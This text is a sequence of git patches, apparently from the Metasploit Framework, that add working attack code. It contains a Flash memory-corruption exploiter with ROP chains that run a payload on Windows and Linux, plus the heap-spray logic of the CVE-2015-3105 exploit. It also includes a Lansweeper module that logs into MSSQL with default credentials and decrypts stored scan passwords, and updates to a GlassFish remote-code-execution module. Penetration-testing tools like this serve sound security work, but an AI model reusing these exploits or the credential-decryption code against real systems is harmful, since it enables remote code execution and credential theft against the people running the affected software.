Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/flash_exploiter/Logger.as b/external/source/flash_exploiter/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/flash_exploiter/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/flash_exploiter/PE.as b/external/source/flash_exploiter/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/flash_exploiter/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} From e49c36998ca4580d3863240d7d2309b770baf040 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 25 Jun 2015 14:12:23 -0500 Subject: [PATCH 0564/1013] Fix indentation --- .../source/exploits/CVE-2015-3105/Exploit.as | 214 +++++++++--------- 1 file changed, 107 insertions(+), 107 deletions(-) diff --git a/external/source/exploits/CVE-2015-3105/Exploit.as b/external/source/exploits/CVE-2015-3105/Exploit.as index 3cd687f6b4..8e666d6b7a 100755 --- a/external/source/exploits/CVE-2015-3105/Exploit.as +++ b/external/source/exploits/CVE-2015-3105/Exploit.as @@ -10,7 +10,7 @@ package public class Exploit extends Sprite { - private var uv:Vector.<uint> + private var uv:Vector.<uint> private var canvas:Sprite private var filler_shader:Shader private var transformation_shader:Shader @@ -45,7 +45,7 @@ package b64.decode(b64_payload) payload = b64.toByteArray() - canvas = new Sprite() + canvas = new Sprite() addChild(canvas) var size:uint = 400 @@ -57,71 +57,71 @@ package private function do_exploit():void { - setup_shaders() - apply_shader_to_exploit() - } + setup_shaders() + apply_shader_to_exploit() + } - private function setup_shaders():void + private function setup_shaders():void { - transformation_shader = new Shader(new TransformationPbj()) + transformation_shader = new Shader(new TransformationPbj()) - ba_vector = new Vector.<Object>(ba_vector_length) - uint_vectors = new Vector.<Object>(uint_vectors_length) + ba_vector = new Vector.<Object>(ba_vector_length) + uint_vectors = new Vector.<Object>(uint_vectors_length) // Initialize uint vectors - for(var i:uint = 0; i < uint_vectors_length; i++) // 70000 - { - uint_vectors[i] = new Vector.<uint>() - } - + for(var i:uint = 0; i < uint_vectors_length; i++) // 70000 + { + uint_vectors[i] = new Vector.<uint>() + } + // Allocate Byte Arrays - for(i = 0; i < ba_vector_length; i++) // 5000 - { - ba_vector[i] = new ByteArray() - ba_vector[i].endian = "littleEndian" - ba_vector[i].length = ba_length // 0x2000 - fill_byte_array(ba_vector[i], 0x35555555) - ba_vector[i].writeInt(0xbabefac0) - ba_vector[i].writeInt(0xbabefac1) - ba_vector[i].writeInt(i) - ba_vector[i].writeInt(0xbabefac3) - } + for(i = 0; i < ba_vector_length; i++) // 5000 + { + ba_vector[i] = new ByteArray() + ba_vector[i].endian = "littleEndian" + ba_vector[i].length = ba_length // 0x2000 + fill_byte_array(ba_vector[i], 0x35555555) + ba_vector[i].writeInt(0xbabefac0) + ba_vector[i].writeInt(0xbabefac1) + ba_vector[i].writeInt(i) + ba_vector[i].writeInt(0xbabefac3) + } - // Make holes - for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000 - { - fill_byte_array(ba_vector[i], 0x37777777) - ba_vector[i].clear() - ba_vector[i] = null - } + // Make holes + for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000 + { + fill_byte_array(ba_vector[i], 0x37777777) + ba_vector[i].clear() + ba_vector[i] = null + } // Setup shader - filler_shader = new Shader(new FillerPbj()) //test_bin.pbj - filler_shader.data.point1.value = [top_middle.x, top_middle.y] + filler_shader = new Shader(new FillerPbj()) //test_bin.pbj + filler_shader.data.point1.value = [top_middle.x, top_middle.y] filler_shader.data.point2.value = [bottom_left.x, bottom_left.y] - filler_shader.data.point3.value = [bottom_right.x, bottom_right.y] - } + filler_shader.data.point3.value = [bottom_right.x, bottom_right.y] + } - final private function fill_byte_array(ba:ByteArray, value:int):void - { + final private function fill_byte_array(ba:ByteArray, value:int):void + { ba.position = 0 var i:uint = 0 - while (i < ba.length / 4) - { - ba.writeInt(value) - i = i + 1 - } + while (i < ba.length / 4) + { + ba.writeInt(value) + i = i + 1 + } ba.position = 0 return } - private function apply_shader_to_exploit():void - { - try { - filler_shader.data.point3 = transformation_shader.data.positionTransformation27 - } catch(err:Error) { - Logger.log("Error!") - } + private function apply_shader_to_exploit():void + { + try { + filler_shader.data.point3 = transformation_shader.data.positionTransformation27 + } catch(err:Error) { + Logger.log("Error!") + } filler_shader.data.color1.value = [1, 1, 1, 1] @@ -137,45 +137,45 @@ package var test:uint var mod_idx:uint = 0xffffffff for(var i:uint = 0; i< ba_vector_length; i++) { // 5000 - if (ba_vector[i] != null) { - ba_vector[i].position = 32 - test = ba_vector[i].readUnsignedInt() - if (test != 0x35555555) { + if (ba_vector[i] != null) { + ba_vector[i].position = 32 + test = ba_vector[i].readUnsignedInt() + if (test != 0x35555555) { mod_idx = i - break - } - } - } + break + } + } + } if (mod_idx == 0xffffffff) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting") return } - // Clear the modified BA, we need a hole there =) - fill_byte_array(ba_vector[mod_idx], 0x39999999) - ba_vector[mod_idx].clear() - ba_vector[mod_idx] = null - - // Fill the BA space with well positioned Vector.<uint>'s, hopefully... - for(i = 0; i < uint_vectors_length; i++) // 70000 - { - uint_vectors[i].length = 0x13e - uint_vectors[i][0] = 0xcccccccc - uint_vectors[i][1] = i - uint_vectors[i][2] = 0xaaaaaaaa - } - + // Clear the modified BA, we need a hole there =) + fill_byte_array(ba_vector[mod_idx], 0x39999999) + ba_vector[mod_idx].clear() + ba_vector[mod_idx] = null + + // Fill the BA space with well positioned Vector.<uint>'s, hopefully... + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + uint_vectors[i].length = 0x13e + uint_vectors[i][0] = 0xcccccccc + uint_vectors[i][1] = i + uint_vectors[i][2] = 0xaaaaaaaa + } + // Corrupt again, hopefully one of our vector lengths =) canvas.graphics.beginShaderFill(filler_shader) var corrupted:uint = 0xffffffff - for(i = 0; i < uint_vectors_length; i++) // 70000 - { - if (uint_vectors[i].length != 0x13e) { + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length != 0x13e) { corrupted = i - break - } + break + } } if (corrupted == 0xffffffff) { @@ -184,54 +184,54 @@ package } var offset:uint = 0xffffffff - for(i = 0; i < 2048; i++) - { - if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc) - { - uint_vectors[corrupted][i] = 0xffffffff + for(i = 0; i < 2048; i++) + { + if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc) + { + uint_vectors[corrupted][i] = 0xffffffff offset = i - break - } - } + break + } + } if (offset == 0xffffffff) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting") return } - for(i = 0; i < uint_vectors_length; i++) // 70000 - { - if (uint_vectors[i].length == 0xffffffff) { - uv = uint_vectors[i] - break - } - } + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length == 0xffffffff) { + uv = uint_vectors[i] + break + } + } if (uv == null) { Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting") return } - var my_offset:uint = 0x3ffffffe - offset - 2 - uv[my_offset] = 0x13e - + var my_offset:uint = 0x3ffffffe - offset - 2 + uv[my_offset] = 0x13e + for(i = 0; i < ba_vector_length; i++) { // 5000 - if (ba_vector[i] != null) { - ba_vector[i].clear() - ba_vector[i] = null - } - } + if (ba_vector[i] != null) { + ba_vector[i].clear() + ba_vector[i] = null + } + } - for(i = 0; i < uint_vectors_length; i++) // 70000 - { - if (uint_vectors[i].length != 0xffffffff) { + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length != 0xffffffff) { delete(uint_vectors[i]) - uint_vectors[i] = null - } - } + uint_vectors[i] = null + } + } exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) - } + } } } From 1a371b11b06d9a8cf6455ca7bd8d08611c5bfc17 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 25 Jun 2015 17:04:31 -0500 Subject: [PATCH 0565/1013] Update description --- modules/exploits/multi/http/glassfish_deployer.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index d2d1b02990..fe5f494cea 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -21,7 +21,9 @@ class Metasploit3 < Msf::Exploit::Remote This module logs in to an GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been - tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. + tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer + GlassFish versions do not allow remote access (Secure Admin) by default, but is required + for exploitation. }, 'License' => MSF_LICENSE, 'Author' => From 5ef4cc2bb403994445bbd2e17700c5c9aaea121b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 25 Jun 2015 17:10:20 -0500 Subject: [PATCH 0566/1013] Save creds --- .../exploits/multi/http/glassfish_deployer.rb | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index fe5f494cea..29fddf8d6a 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -659,6 +659,34 @@ class Metasploit3 < Msf::Exploit::Remote my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(datastore['PATH'])}" end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'glassfish', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + private_data: opts[:password], + origin_type: :service, + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now + }.merge(service_data) + + create_credential_login(login_data) + end + def try_normal_login(version) init_loginscanner @@ -693,6 +721,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying to login as #{cred.public}:#{cred.private}") result = @scanner.attempt_login(cred) if result.status == Metasploit::Model::Login::Status::SUCCESSFUL + report_cred(user: cred.public, password: cred.private) return @scanner.jsession end end From 3da35951813fcacf013bf68e5aca973a67f08703 Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Thu, 25 Jun 2015 19:29:30 -0500 Subject: [PATCH 0567/1013] MSF module to download and decrypt credentials stored in Lansweeper's database --- modules/auxiliary/gather/lansweeper.rb | 129 +++++++++++++++++++++++++ 1 file changed, 129 insertions(+) create mode 100644 modules/auxiliary/gather/lansweeper.rb diff --git a/modules/auxiliary/gather/lansweeper.rb b/modules/auxiliary/gather/lansweeper.rb new file mode 100644 index 0000000000..c0945eb825 --- /dev/null +++ b/modules/auxiliary/gather/lansweeper.rb @@ -0,0 +1,129 @@ +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Lansweeper', + 'Description' => %q{ + Lansweeper stores the credentials it uses to scan the computers + in its MSSQL database. The passwords are XTea-encrypted with a + 68 character long key, which first 8 character is stored with the + password in the database, and the other 60 is static. Lansweeper by + default creates an MSSQL user "lansweeperuser" whose password is + "mysecretpassword0*", and stores its data in a database called + "lansweeperdb". + This module will query the MSSQL database for the credentials. + }, + 'Author' => + [ + # Lansweeper RCE + Metasploit implementation + 'sghctoma <tamas.szakaly [at] praudit [dot] hu>' , + + # Lansweeper RCE + discovering default credentials + 'eq <balazs.bucsay [at] praudit [dot] hu>', + + # Updated module to work on latest version of lansweeper + 'calderpwn <calderon [at] websec [dot] mx>' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.lansweeper.com'], + [ 'URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea'] + ] + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'lansweeperuser' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username', 'mysecretpassword0*' ]), + OptString.new('DATABASE', [ true, 'The Lansweeper database', 'lansweeperdb']), + ], self.class) + end + + def uint32(n) + return n & 0xffffffff + end + + def xteadecode(v, k) + num = 0xc6ef3720 + num2 = uint32(v[0]) + num3 = uint32(v[1]) + + for i in 0..0x1f + num3 -= uint32((uint32(num2 << 4) ^ uint32(num2 >> 5)) + num2) ^ + uint32(num + k[uint32(num >> 11) & 3]) + num3 = uint32(num3) + num -= 0x9e3779b9 + num = uint32(num) + num2 -= ((uint32(uint32(num3 << 4) ^ uint32(num3 >> 5)) + num3) ^ + uint32(num + k[num & 3])) + num2 = uint32(num2) + end + + v[0] = num2 + v[1] = num3 + end + + def xteadecrypt(data, key) + k = key.ljust(16).unpack('VVVV') + num = 0 + bytes = Array.new + + 0.step(data.length - 1, 8) do |i| + v = data[i, 8].unpack('VV') + xteadecode(v, k) + + bytes[num] = v[0] + num += 1 + bytes[num] = v[1] + num += 1 + end + + return bytes.pack('c*') + end + + def lswgeneratepass() + key = '' + + for num in 0..60 + key << [((40 - num) + ((num * 2) + num)) - 1].pack('c') + key << [(num + 15) + num].pack('c') + end + + return key + end + + def lswdecrypt(data) + + data = Rex::Text.decode_base64(data) + + first = data[0] + pass = data[1,8] + actualdata = data[9, data.length - 9] + + decrypted = xteadecrypt(actualdata, pass + lswgeneratepass()) + + if first == "1" + decrypted = decrypted[0, decrypted.length - 2] + end + + return Rex::Text.to_ascii(decrypted, 'utf-16le') + + end + + def run + result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] + + '.dbo.tsysCredentials WHERE LEN(Password)>64', true) if mssql_login_datastore + + result[:rows].each do |row| + print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ") + end + + disconnect + end +end From c70e38a14e98e52b648883cd6cc86aa1f02622c2 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 25 Jun 2015 22:39:56 -0500 Subject: [PATCH 0568/1013] Do more reporting --- .../exploits/multi/http/glassfish_deployer.rb | 32 +++++++++++++++++-- 1 file changed, 29 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 29fddf8d6a..ee6537e866 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE + include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, @@ -270,19 +271,28 @@ class Metasploit3 < Msf::Exploit::Remote end end + def report_glassfish_version(banner) + report_note( + host: rhost, + type: 'glassfish.banner', + data: banner, + update: :unique_data + ) + end + # # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and # banner (ex: Sun Java System Application Server 9.x) # def get_version(res) - #Extract banner from response + # Extract banner from response banner = res.headers['Server'] - #Default value for edition and glassfish version + # Default value for edition and glassfish version edition = 'Commercial' version = 'Unknown' - #Set edition (Open Source or Commercial) + # Set edition (Open Source or Commercial) p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p @@ -301,6 +311,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Unsupported version: #{banner}") end + report_glassfish_version(banner) + return edition, version, banner end @@ -632,6 +644,18 @@ class Metasploit3 < Msf::Exploit::Remote ) end + def report_auth_bypass(version) + report_vuln( + name: 'GlassFish HTTP Method Authentication Bypass', + info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \ + 'attacker to bypass authentication by sending an HTTP verb in lower-case.', + host: rhost, + port: rport, + proto: 'tcp', + refs: self.references + ) + end + def try_glassfish_auth_bypass(version) sid = nil @@ -652,6 +676,8 @@ class Metasploit3 < Msf::Exploit::Remote end end + report_auth_bypass(version) if sid + sid end From a773979992c183d0b9cadd6ac53adf8529643612 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Fri, 26 Jun 2015 13:59:09 +1000 Subject: [PATCH 